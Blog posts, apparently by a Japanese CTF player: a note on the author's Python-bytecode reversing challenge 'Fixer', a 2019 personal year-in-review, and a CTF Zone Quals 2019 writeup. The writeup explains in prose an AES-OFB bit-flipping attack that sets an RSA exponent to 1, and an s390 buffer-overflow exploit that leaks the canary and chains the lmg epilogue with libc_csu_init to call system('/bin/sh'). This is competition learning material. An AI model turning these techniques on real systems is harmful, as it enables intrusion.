Fixer is about pyc reversing (with Python3.9) and many fixpoints. If you find that there is a combinator of the following:

(lambda a: (lambda b: a(lambda c: b(b)(c)))(lambda b: a(lambda c: b(b)(c))))

you will be able to parse the whole structure of the bytecode.

This challenge was first created by me, but after that, @theoremoon, @ptr-yudai and @xrekkusu have investigated "how should be organized as a fun challenge" deeply. Thank you. Actually, though it was controversial to submit this chall as a reversing challenge, it would be grateful to me if you felt fun with this challenge.

2019年の総括

毎年やっているので。

振り返ると一つのことにしか集中できないのでこの時期に何してたかみたいなのがかなり回想出来る気がする。 1-3月ごろはOS作ったりCPU実験をしていたし、4-7月ごろはGSoCをしていたり、演習3をしていた。9-12月は研究(?)をしていた。そう考えるとかなり大学のことを真面目にやっていたんだなと思う。 今年はCTFも多少やった気がするし、作問もした。

来年の目標として一つあるのは、ある程度ちゃんとしたCTFにおいて最終的にsolver数一桁になるような問題を適切に解いていきたい。最近CTF終わった後いつもそういう感想になる。あとは基本的に研究に取り組みたいなとは思う。個人的な意見としては楽しいと思う。

去年の総括を見ていると

地下は太陽が無いのでやはり太陽にあたっていくあたりから挑戦するべき、あとは英語精進をしないと死にそう。

という記述があったが、研究室が地上になったことで必然的に前者はある程度達成できるようになった。西日は眩しい。後者は今もなお問題で、実際に死んでいる。

もう一点の懸念としては雑に使えるお金の量の単調減少。まぁ今働いてないからね、仕方ない。とはいえ学生は学問をすべきでは?という結論に至ってから、なかなか雑に働く気にもなれないので、学問してたらお金がもらえないかなという感じになっている。

分かる。

人間、人生を考えすぎなので僕も考えなきゃいけないのかなという気持ちになってきた

人生よくわからん。いずれにせよ、来年は就活的なものが発生したりしなかったりするのかもしれない、考えを先送りにしている

CTF Zone Quals 2019 Writeup

TSG Advent Calendarの5日目の記事です。昨日は、うらさんの JavaScript じゃなくても GitHub Pages で動かしたい - Qiita でした

adventar.org

開催一ヶ月くらい前につばめくんが海外オンサイト行きてえし、これ行けるんちゃう?みたいな話をした結果、真面目に参加しようという話になりました。開催数日前にDEFCON Quals Qualsであることが発表されたのでどうなんやろなーと思っていましたが、ギリギリ10位に入ったので良かったです。

TSG Advent Calendarを埋めるために、ブログにするほど特筆するべきことがあるわけではないんですが、writeupを書きます(一部僕が解いたわけではないが、楽しかった話をコメント)

Agents

AES OFBで暗号化した何かしらの文が渡されて、HQにその暗号文を持っていくとありがとうと言われる。それだけ。OFB(Output Feedback Mode)ということは、暗号化された状態で平文の各ビットを適当に反転することができる。

暗号文は全体で2650ビットくらいあったので、とりあえず、各ビットを反転していくと、JSON corrupsedと言われる場合、errorでそもそも落ちる場合、特に何も言われない場合、そして、なんか信じてもらえて謎の文を返してもらえる場合に行き着く。

Thank you. HQ said that I can rely on you. Here is top secret message. It is encrypted with public RSA key contained in message that you gave me. Please deliver it to HQ as soon as posible.  90f21501ac7329ae0dd3002c81970b0971ea880669fb1557dbde34d25894352d969f45a295c54a3f3bb3f7ff0a1b47b80c1972aac9597d662c85914a40cd60d5eea0f3859a1d0d2832fe8adcd53e2d8134da0f858a022b5a6cba45b785e526927c84273b74449bd467f2ea1e72f1ca6d9543fe02f33df1d7e1fda346ae8c6a92

これは答えじゃないらしい。どうも、中身をよくしらないが、HQに送りつけているのはRSAの鍵と自分が信じていい人間かという情報らしい。またJSON corrupsedといわれている以上JSON形式なんだろう。errorが起こるのは、辞書型キーを破壊した場合かななどのことが考えられ、以上からどういう構造をしているJSONであるかも想定がつくので(数字が並んでいるところは上位ビットを破壊すると、JSON corrupsedになるが、下位ビットを壊しても怒られはしない)、RSA公開鍵のeを1に書き換えてやればいい

Easy VM

MS-DOS executable, MZ for MS-DOSなバイナリ、dosboxとかいうエミュレータで動く。動かすと、ファイルを受け取って正しいかどうか判定するらしい。

適当にリバーシングすると、判定関数っぽいものがたくさんあることが分かる。また、GHIDRAではうまくback referenceできなかったが、flagかどうかの判定したら、出力するようなので、とりあえずflag判定関数を満たすようなファイルを作る。

判定関数とは言っても、よく見てみると全部各バイト=で判定しているだけなので、objdumpの出力を雑にパースして比較先の値をとってくればいい

Learning The Ropes(& fixed)

わけわからんマシン(IBM S/390)の上でLinuxが動いていて、その中のユーザーモードで、問題のバイナリが動いている。JP3BGYがgdbLinuxに入れてくれたのでその上で解析した。

バイナリ自体は、読めないが大して大きくない。頑張って解析していると、baなんとかが、branchであったり、stmtがstore multipleで、関数のプロローグとして使われることだったり、lmgがl系がロード命令だったりすることが分かる。また、r14がlink用アドレスで、br %r14が、多くの場合retであることや、r2...r5の順に関数の引数が前から入っていることもわかる。大体これくらいで十分だった。

それらをもとに、バイナリを解析すると、

  • まず名前を受け取る(snprintf_chkだが、リークさせることができる)
  • 次に謎に文字列を受け取る(ここでHELL YEAHと入力すると先にすすめる、これは文字列同士の比較命令clstとかいう謎命令で行われる)
  • 数字を受け取って、その分だけ文字を入力できる(はず)(ここでバッファーオーバーフローできる)
  • また、別途、libc_csu_initっぽい場所も見つけることができる。
  • canary, RELRO, PIEだが、とりあえずsnprintfで各種アドレスとcanaryがリークできる。あとはどうやって、シェルをとるかだが、今回のアーキテクチャに関連して少し面白いのはこの部分である。

main関数の関数エピローグが、

272      d3c:   eb 6f f2 00 00 04   lmg %r6,%r15,512(%r15)
273      d42:   07 fe               br  %r14

であることを考える。lmgはload multipleで、メモリの上の$r15 + 512の位置を前から8バイトずつr6からr15まで(一命令で)入れていく。そしてbr %r14 でr14レジスタの中に入るアドレスにbranchする(つまり、r14にload multipleで入る値がある場所が所謂return addressの格納されている場所ということになる)。

つまり、このload multipleの範囲にあるメモリを適当にいじることで、r6-r15のレジスタまで好きに設定できる。つまり、libc_csu_initを使えば(各種アドレスたちがリークされているので)、system("/bin/sh") ができる。

まあ問題は、デバッグがしんどいことなんですけどね。x86でないアーキ問、多少読みにくいのは別に良いとしても、デバッグがとってもしんどい、gdbもところどころバグってない?(step実行だとbranchがうまくいかなかったんだけど)という。終わり

その他

Tic Tac Toe

もう一個のpwnの問題。kirbyさんと雑に会話したりしてスマブラをしていたら、kirbyさんが解いてくれました。去年から伏線があったんですが、成長著しいですね

Memology

Recon(は?)をする問題。貢献しようという気力はあったのに、無貢献だった(dostoevskyは許さん)。いやこれの特筆するべき事項は、そこではなくて、hideo54とhakatashiはreconの天才であることで(なお、hakatashiはinstagramのストーリーがどこから見れるかを知らなかった)、これをネットの片隅に書いておきたかった。

Welcome to CTFZone!

hakatashiにボタン連打で負けました。ちなみに、TSGはこの問題のfirst blood(ぇ

まとめ

集まってやったのでわいわいできてよかった。わいわいしていると、ようわからんくてしんどくなってきたときにもモチベが続くので良い。多分10位以内なので、オンサイトいけると思うんですけどどうなんですかね〜

明日は、taiyoslimeさんで「たぶんライブコードゴルフの諸々について(実用言語編)」らしいです